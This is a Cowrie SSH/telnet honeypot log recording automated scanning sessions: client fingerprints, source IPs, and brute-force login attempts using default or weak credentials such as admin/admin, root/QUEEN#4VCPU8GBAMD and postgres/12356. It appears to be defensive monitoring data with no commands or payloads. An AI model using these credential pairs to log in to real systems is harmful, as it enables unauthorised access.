{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:38:34.959829Z","src_ip":"94.156.152.18","session":"c621f1ed85e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QUEEN#4VCPU8GBAMD","message":"login attempt [root/QUEEN#4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:38:35.340840Z","src_ip":"94.156.152.18","session":"c621f1ed85e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:38:36.470519Z","src_ip":"94.156.152.18","session":"c621f1ed85e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.117.199.5","src_port":23885,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c10660401eb","protocol":"ssh","message":"New connection: 154.117.199.5:23885 (10.17.0.5:22) [session: 1c10660401eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:39:18.795521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh-0.2","message":"Remote SSH version: SSH-2.0-libssh-0.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:39:19.027616Z","src_ip":"154.117.199.5","session":"1c10660401eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:39:19.264092Z","src_ip":"154.117.199.5","session":"1c10660401eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":29766,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8755a29941b","protocol":"ssh","message":"New connection: 94.156.152.18:29766 (10.17.0.5:22) [session: e8755a29941b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:41:11.842175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:41:11.846502Z","src_ip":"94.156.152.18","session":"e8755a29941b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:41:11.973062Z","src_ip":"94.156.152.18","session":"e8755a29941b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QUEEN#4VCPU8GBAMD","message":"login attempt [root/QUEEN#4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:41:12.353300Z","src_ip":"94.156.152.18","session":"e8755a29941b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:41:13.482069Z","src_ip":"94.156.152.18","session":"e8755a29941b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.198.206","src_port":57828,"dst_ip":"10.17.0.5","dst_port":22,"session":"aba5e4374f36","protocol":"ssh","message":"New connection: 45.78.198.206:57828 (10.17.0.5:22) [session: aba5e4374f36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:43:31.839738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:43:31.845659Z","src_ip":"45.78.198.206","session":"aba5e4374f36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:43:32.146005Z","src_ip":"45.78.198.206","session":"aba5e4374f36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gadmin","password":"gadmin","message":"login attempt [gadmin/gadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:43:33.347629Z","src_ip":"45.78.198.206","session":"aba5e4374f36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:43:34.646287Z","src_ip":"45.78.198.206","session":"aba5e4374f36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.10.79","src_port":43378,"dst_ip":"10.17.0.5","dst_port":22,"session":"843ce7a324bb","protocol":"ssh","message":"New connection: 103.143.10.79:43378 (10.17.0.5:22) [session: 843ce7a324bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:44:54.273831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:44:54.281301Z","src_ip":"103.143.10.79","session":"843ce7a324bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:44:54.353202Z","src_ip":"103.143.10.79","session":"843ce7a324bb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:44:54.504921Z","src_ip":"103.143.10.79","session":"843ce7a324bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:44:54.578243Z","src_ip":"103.143.10.79","session":"843ce7a324bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":60118,"dst_ip":"10.17.0.5","dst_port":22,"session":"775520fdb09d","protocol":"ssh","message":"New connection: 130.12.180.51:60118 (10.17.0.5:22) [session: 775520fdb09d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:44:54.742917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:44:54.747873Z","src_ip":"130.12.180.51","session":"775520fdb09d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:44:54.830328Z","src_ip":"130.12.180.51","session":"775520fdb09d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:44:55.081226Z","src_ip":"130.12.180.51","session":"775520fdb09d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:44:55.622739Z","src_ip":"130.12.180.51","session":"775520fdb09d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.141.71.166","src_port":38108,"dst_ip":"159.203.135.109","dst_port":22,"session":"601490dac4c1","protocol":"ssh","message":"New connection: 187.141.71.166:38108 (159.203.135.109:22) [session: 601490dac4c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:46:05.718638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:46:05.723058Z","src_ip":"187.141.71.166","session":"601490dac4c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:46:05.840500Z","src_ip":"187.141.71.166","session":"601490dac4c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"qwertyuiop","message":"login attempt [debian/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:46:06.339905Z","src_ip":"187.141.71.166","session":"601490dac4c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:46:07.460830Z","src_ip":"187.141.71.166","session":"601490dac4c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.141.71.166","src_port":44502,"dst_ip":"159.203.135.109","dst_port":22,"session":"e033e2d51b83","protocol":"ssh","message":"New connection: 187.141.71.166:44502 (159.203.135.109:22) [session: e033e2d51b83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:47:05.794578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:47:05.799608Z","src_ip":"187.141.71.166","session":"e033e2d51b83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:47:05.922125Z","src_ip":"187.141.71.166","session":"e033e2d51b83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"12356","message":"login attempt [postgres/12356] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:47:06.440285Z","src_ip":"187.141.71.166","session":"e033e2d51b83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:47:07.565793Z","src_ip":"187.141.71.166","session":"e033e2d51b83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.233.64.34","src_port":37018,"dst_ip":"159.203.135.109","dst_port":23,"session":"4554a5734cf4","protocol":"telnet","message":"New connection: 194.233.64.34:37018 (159.203.135.109:23) [session: 4554a5734cf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:47:44.361294Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.141.71.166","src_port":36998,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3016d7cb8b2","protocol":"ssh","message":"New connection: 187.141.71.166:36998 (159.203.135.109:22) [session: f3016d7cb8b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:48:01.052420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:48:01.058878Z","src_ip":"187.141.71.166","session":"f3016d7cb8b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:48:01.181465Z","src_ip":"187.141.71.166","session":"f3016d7cb8b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qazxswedc","message":"login attempt [admin/qazxswedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:48:01.698358Z","src_ip":"187.141.71.166","session":"f3016d7cb8b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:48:02.826809Z","src_ip":"187.141.71.166","session":"f3016d7cb8b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.144315719604492,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:48:15.505516Z","src_ip":"194.233.64.34","session":"4554a5734cf4","protocol":"telnet"}
